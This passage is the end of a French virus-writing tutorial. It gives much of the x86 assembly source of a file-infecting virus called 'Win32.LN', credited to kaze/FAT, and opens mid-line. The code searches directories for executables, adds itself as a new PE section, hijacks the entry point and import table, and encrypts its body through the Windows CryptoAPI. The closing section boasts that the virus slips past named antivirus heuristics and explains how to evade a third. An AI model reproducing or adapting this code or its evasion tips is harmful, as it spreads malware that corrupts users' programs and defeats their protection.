edx,eax ;edx-->PEHeader lea edi,[edx+18h] movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader add edi,ecx ;esi-->sections movzx ebx,word ptr [edx+6] inc word ptr [edx+6] imul ebx,ebx,28h xor eax,eax add edi,ebx dec eax call r_range stosd call r_range stosd and [edx+0D0h],dword ptr 0 ;xp only mov dword ptr [edi],(virus_len + heap_len)+1000h mov esi,[edx+50h] ;SizeOfImage mov [ebp+virusrva],esi mov [edi+4],esi ;VirtualAdress=SizeOfImage mov ecx,[edx+3ch] ;file alignement push edx xor edx,edx mov eax,virus_len mov ebx,eax div ecx sub ecx,edx add ebx,ecx pop edx mov [edi+8],ebx ;file size mov eax,[ebp+WFD_nFileSizeLow] mov [edi+12],eax ;file offset mov [edi+1Ch],0F0000060h mov ecx,[edx+50h] ;SizeOfIMage xchg [edx+28h],ecx mov [ebp+AncienEP],ecx pop edi ;edi=fileoffset add [edx+50h],dword ptr 2000h ;virus_len+Heap_len mov eax,edi push edi lea edi,[edx+18h] movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader add edi,ecx ;esi-->sections mov esi,[edx+80h] ;eax=RVA import table movzx ecx,word ptr [edx+6] cherche_raw_import: cmp [edi+0Ch],esi ;RVA section ja mauvaise_section mov ebx,[edi+8] ;Virtual Size section add ebx,[edi+0Ch] cmp ebx,esi ja raw_import_trouve mauvaise_section: add edi,28h loop cherche_raw_import raw_import_trouve: mov [edi+24h],dword ptr 0F0000060h mov ebx,[edi+0Ch] ;RVA sub esi,ebx ;eax=offset des imports ds la section add esi,[edi+14h] ;ajoute le RawOffset add esi,eax ;ajoute le FileOffset. esi--> imports mov [ebp+iidraw],esi mov ebx,[edx+80h] mov [ebp+iidrva],ebx mov edx,0Ch mov ecx,35 fk32: mov edi,[esi+edx] ;nom du module sub edi,ebx add edi,esi cmp [edi],'NREK' jz k32f add edx,014h loop fk32 jmp byebyeerror k32f: and dword ptr [esi+edx-8],0 mov ecx,[esi+edx+4] sub ecx,ebx mov edi,esi add ecx,esi ;ecx--> First Thunk mov esi,[esi+edx-0Ch] sub esi,ebx add esi,edi ;esi--> Original Thunk sub esi,4 sub ecx,4 call ch_api_skip_ordinals_only mov eax,offset import_gmha - offset start add eax,[ebp+virusrva] xchg [esi],eax push ecx sub ecx,[ebp+iidraw] add ecx,[ebp+iidrva] add ecx,[ebp+imagebase] mov [ebp+of_gmha],ecx ;future rva of FT.GetModulehandleA mov [ebp+gmha1],ecx mov [ebp+of_oldgmha_name],eax pop ecx call ch_api_skip_ordinals_only mov eax,offset import_gpa - offset start add eax,[ebp+virusrva] xchg [esi],eax sub ecx,[ebp+iidraw] add ecx,[ebp+iidrva] add ecx,[ebp+imagebase] mov [ebp+of_gpa],ecx ;rva of FT.GetProcAddress mov [ebp+gpa1],ecx mov [ebp+gpa2],ecx mov [ebp+gpa3],ecx mov [ebp+gpa4],ecx mov [ebp+gpa5],ecx mov [ebp+of_oldgpa_name],eax ;============================== FIX RVA OF DECRYPTOR ======================== mov ebx,[ebp+virusrva] add ebx,[ebp+imagebase] mov eax,offset advapi_name-offset start add eax,ebx mov [ebp+adr_advapi],eax mov eax,offset AContext-offset start add eax,ebx mov [ebp+adr_cac],eax mov eax,offset csp-offset start add eax,ebx mov [ebp+adr_csp1],eax mov [ebp+adr_csp2],eax mov [ebp+adr_csp3],eax mov eax,offset CHash-offset start add eax,ebx mov [ebp+adr_cch],eax mov eax,offset hash-offset start add eax,ebx mov [ebp+adr_hash1],eax mov [ebp+adr_hash2],eax mov [ebp+adr_hash3],eax mov eax,offset HData-offset start add eax,ebx mov [ebp+adr_chd],eax mov eax,offset t1-offset start add eax,ebx mov [ebp+adr_t11],eax mov eax,offset DKey-offset start add eax,ebx mov [ebp+adr_cdk],eax mov eax,offset key-offset start add eax,ebx mov [ebp+adr_key1],eax mov [ebp+adr_key2],eax mov eax,offset Decrypt-offset start add eax,ebx mov [ebp+adr_cd],eax mov eax,offset encrypted_stuff-offset start add eax,ebx mov [ebp+adr_es],eax mov eax,offset len-offset start add eax,ebx mov [ebp+adr_len],eax mov eax,offset api-offset start add eax,ebx mov [ebp+adr_api1],eax mov [ebp+adr_api2],eax mov [ebp+adr_api3],eax mov [ebp+adr_api4],eax mov [ebp+adr_api5],eax mov [ebp+adr_api6],eax mov [ebp+adr_api7],eax mov [ebp+adr_api8],eax mov [ebp+adr_api9],eax mov [ebp+adr_apiA],eax ;============================== RECOPIE LE VIRUS ============================ mov [ebp+len],encrypted_stuff_len pop edi add edi,[ebp+WFD_nFileSizeLow] ;pointe vers la fin du fichier=le virus lea esi,[ebp+start] push edi mov ecx,virus_len rep movsb ;recopie le virus .... ;============================== CRYPTE LE VIRUS ============================= xor ebx,ebx push CRYPT_VERIFYCONTEXT push PROV_RSA_FULL push ebx push ebx lea eax,[ebp+offset csp] push eax call_ CAContext lea eax,[ebp+hash] push eax push ebx push ebx push CALG_MD5 push [ebp+csp] call_ CCHash push ebx push 32 ;len lea eax,[ebp+t1] push eax push [ebp+hash] call_ CHData lea eax,[ebp+key] push eax push ebx push [ebp+hash] push CALG_RC4 push [ebp+csp] call_ CDKey pop edi ;debut du virus sur le disque push encrypted_stuff_len lea eax,[ebp+len] push eax add edi,(offset encrypted_stuff-offset start) push edi push ebx inc ebx push ebx dec ebx push ebx push [ebp+key] call_ CEncrypt jmp byebye error_chapi: pop eax byebyeerror: pop edi byebye: ret InfectPE endp ch_api_skip_ordinals_only proc near ;IN: esi --> debut OFT-4, ecx-->debut FT-4, ebx=decalage raw/rva add esi,4 ;OUT; esi--> OFT, ecx--> FT add ecx,4 mov eax,[esi] test eax,eax ;derniere entree jz error_chapi sub eax,ebx add eax,edi ;edi--> RawOffset des imports cmp [esi+3],byte ptr 80h ; juste un ordinal ? jz ch_api_skip_ordinals_only ret ch_api_skip_ordinals_only endp restore_api proc near ;esi-->OFT et edi-->FT lea eax,[ebp+kernel_name] push eax call_ GMHandle add esi,[ebp+saved_imagebase] inc esi inc esi push esi push eax call_ GPAddress stosd ret restore_api endp r_range proc near ; Ctrl-C Ctrl-V :] push ecx push edx mov ecx,eax mov eax, 214013h imul dword ptr [ebp+random] xor edx, edx add eax, 2531011h mov [ebp+random], eax xor edx,edx div ecx mov eax,edx pop edx pop ecx ret r_range endp Infection proc near ;esi--> WFD push ecx push 080h push esi call_ SFA xor eax,eax push eax push eax push 3 push eax inc eax push eax push 0C0000000h push esi call_ CreateFile inc eax jz peuxpas dec eax mov [ebp+Fhandle],eax mov edi,[ebp+WFD_nFileSizeLow] call CreateMappedFile test eax,eax jz mappas mov [ebp+Mhandle],eax call MapFile test eax,eax jz veuxpas mov [ebp+MapOff],eax mov esi,[eax+3Ch] cmp esi,edi jae pasbon ;si MZ, evite les violation de pages add esi,eax ;= Test si PE valide cmp dword ptr [esi],'EP' jnz pasbon ;= Test si le pe a deja ete infecte lea eax,[esi+18h] movzx ecx,word ptr [esi+14h] ;SizeOfOptionalHeader add eax,ecx ;esi-->sections movzx edx,word ptr [esi+6] dec edx imul edx,edx,28h cmp [eax+edx],byte ptr '.' ;si le nom de la derniere section jnz pasbon ;ne commence pas par '.', alors ;le pe doit etre infecte. ;= fermeture du fichier mov eax,[esi+34h] mov [ebp+imagebase],eax mov esi,[esi+3Ch] ;File Alignement mov [ebp+alignement],esi push [ebp+MapOff] call_ UMVOFile push [ebp+Mhandle] call_ CloseHandle ;= On le remap mais avec une taille plus grande xor edx,edx add edi,virus_len ;edi=fichier+virus mov eax,edi div esi sub esi,edx add edi,esi ;edi=tailletotale+(alignement-tailletotale%Alignement) mov [ebp+tailleajustee],edi call CreateMappedFile mov [ebp+Mhandle],eax call MapFile mov [ebp+MapOff],eax call InfectPE pasbon: push [ebp+MapOff] call_ UMVOFile veuxpas:push [ebp+Mhandle] call_ CloseHandle mappas: push [ebp+Fhandle] call_ CloseHandle peuxpas:push [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] push eax call_ SFA pop ecx ret Infection endp InfectRep proc near lea esi,[ebp+WFD] lea eax,[ebp+mask] push esi push eax call_ FindFirstFile inc eax jz badrep dec eax mov [ebp+Shandle],eax unautreverre?: lea esi,[ebp+WFD_szFileName] call Infection lea eax,[ebp+WFD] push eax push [ebp+Shandle] call_ FindNextFile test eax,eax ;dernier fichier ? jnz unautreverre? push [ebp+Shandle] call_ FindClose badrep: ret InfectRep endp MapFile proc ;edi=taille xor eax,eax push edi push eax push eax push 00000002h push [ebp+Mhandle] call_ MVOFile ret MapFile endp CreateMappedFile proc near ;edi=taille xor eax,eax push eax push edi push eax push 00000004h push eax push [ebp+Fhandle] call_ CreateFileMapping ret CreateMappedFile endp Make_thread proc near ;esi--> debut de la thread xor edx,edx lea eax,[ebp+Thread_I] push eax push edx lea eax,[ebp+Thread_P] push eax push esi push edx push edx call_ CThread ret Make_thread endp ChercheApis proc near ;ebx--> nom du dll esi&edi -->tableaux push ecx push esi push edi push ebx mov eax,[ebp+of_gmha] call [eax] CA_retour_1: pop edi pop esi pop ecx mov ebx,eax Chapis: push ecx push esi push ebx mov eax,[ebp+of_gpa] call [eax] CA_retour_2: pop ecx stosd yy: lodsb test al,al jnz yy loop Chapis ret ChercheApis endp ;============================================================================ ; DATA ;============================================================================ of_oldgpa_name dd 0 of_oldgmha_name dd 0 disque db 'B:\',0 ; 'C' - 1 mask db 'kaze*.*',0 dmask db '*',0 dotdot db '..',0 Thread_P dd 0 ;thread parameter Thread_I dd 0 ;thread ID random dd 031eeeee7h AncienEP dd 1000h + (offset premiere_fin - offset first_gen_start)imagebase dd 400000h api2 db 'ExitProcess',0 api3 db 'GetDriveTypeA',0 api4 db 'FindFirstFileA',0 api5 db 'GetWindowsDirectoryA',0 api6 db 'SetCurrentDirectoryA',0 api7 db 'GetCurrentDirectoryA',0 api8 db 'FindClose',0 api9 db 'CloseHandle',0 apiA db 'CreateFileA',0 apiB db 'SetFileAttributesA',0 apiC db 'FindNextFileA',0 apiD db 'MapViewOfFile',0 apiE db 'CreateFileMappingA',0 apiF db 'UnmapViewOfFile',0 apiG db 'LocalAlloc',0 apiH db 'Sleep',0 apiI db 'CreateThread',0 apiJ db 'ExitThread',0 apiK db 'GetProcAddress',0 apiL db 'GetModuleHandleA',0 NBR_APIS_KERNEL32 EQU 20 kernel_name db 'kernel32.dll',0 user32_name db 'user32.dll',0 of_gmha dd offset firstgen_GetModuleHandleA of_gpa dd offset firstgen_GetProcAddress encrypted_stuff_len equ $-offset encrypted_stuff len dd encrypted_stuff_len advapi_name db 'advapi32.dll',0 import_gmha db 0,0,'LoadLibraryA',0 import_gpa db 0,0,'GetProcAddress',0 AContext db 'CryptAcquireContextA',0 CHash db 'CryptCreateHash',0 HData db 'CryptHashData',0 DKey db 'CryptDeriveKey',0 Encrypt db 'CryptEncrypt',0 Decrypt db 'CryptDecrypt',0 NBR_APIS_ADVAPI32 EQU 5 virus_len equ $ - offset start ;============================================================================ ; BSS ;============================================================================ heap_start equ $ ALIGN DWORD hash dd ? key dd ? csp dd ? api dd ? saved_AncienEP dd ? saved_imagebase dd ? Shandle dd ? MShandle dd ? Fhandle dd ? Mhandle dd ? MapOff dd ? alignement dd ? tailleajustee dd ? sectionaddr dd ? seh dd ? iidrva dd ? iidraw dd ? virusrva dd ? ; KERNEL32.DLL ExitP dd ? GDT dd ? FindFirstFile dd ? GetWindowsDirectory dd ? SetCurrentDirectory dd ? GetCurrentDirectory dd ? FindClose dd ? CloseHandle dd ? CreateFile dd ? SFA dd ? FindNextFile dd ? MVOFile dd ? CreateFileMapping dd ? UMVOFile dd ? LAlloc dd ? Sleep dd ? CThread dd ? EThread dd ? GPAddress dd ? GMHandle dd ? ;ADVAPI32.DLL CAContext dd ? CCHash dd ? CHData dd ? CDKey dd ? CEncrypt dd ? WFD label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime dd ? dd ? WFD_ftLastAccessTime dd ? dd ? WFD_ftLastWriteTime dd ? dd ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) SavedDirectory db 260 dup (?) heap_len equ $ - heap_start ;============================================================================ ; PREMIERE GENERATION ;============================================================================ firstgen_GetModuleHandleA dd offset GetModuleHandleA firstgen_GetProcAddress dd offset GetProcAddress titre db 'Win32.LN coded by kaze/FAT ',0 all_ok db 'Infection reussie ! Taille du virus : ' taille_virus db virus_len/10000+48,(virus_len MOD 10000)/1000+48,(virus_len MOD 1000)/100+48,(virus_len MOD 100)/10+48,virus_len MOD 10+48,0 premiere_fin: xor ebx,ebx push ebx push offset titre push offset all_ok push ebx call MessageBoxA push ebx call ExitProcess end first_gen_start IV. Conclusion : ________________ Parlons un peu résultats: Même si il est possible d'en tirer un signature, ca passera l'heuristique à l'aise. En tout cas celle de norton et de nod32. Pour kav, c'est un peu plus compliqué.Vu qu'il n'arrive pas à émuler les apis, il tombe sur le code crypté et le considèrealors comme suspicieux. Une solution est de poser un fake jmp vers l'EP de l'hôte.Pour voir comment faire, regardez la source de win32.lusion.beta. Après ce petit fake jmp,le virus ne semble détecté par aucun anti-virus, du moins a l'heure actuelle.. Reste à savoir si l'extraction d'une signature est possible... Même si ce n'est pas la technique du siècle, ce type de décryption a le mérite d'apporter un peu de nouveauté. La première faiblesse réside dans les chaines en clair à la fin du virus (les noms des cryptosapis). Ce problème a été en partie résolu dans la version beta de win32.lusion: la position de ces chaines change en effet à chaque génération. Ensuite, le décrypteur est relativement statique, ce qui peut s'arrangervia un peu de poly, quitte a perdre la structure 100% push/call.Enfin, malgré ce que dit microsoft, les cryptoapis ne sont pas supportées par tous les windows. Il semblerait que seulement quelques 98 et très peu de 95 les supportent.Pour Nt/Xp/2000, tous semblent à priori les supporter. Quant à WinMe, je n'ai pas eul'occasion de tester. Pour toute remarque ou commentaire, n'hésitez pas : ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ³ kaze/FAT :ÀÄÄÄÄÄÄÄÄ¿ ³ kaze_0mx@yahoo.fr ³ ³ www.fat4ever.fr.st ³ ³ Epiknet #vxers ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ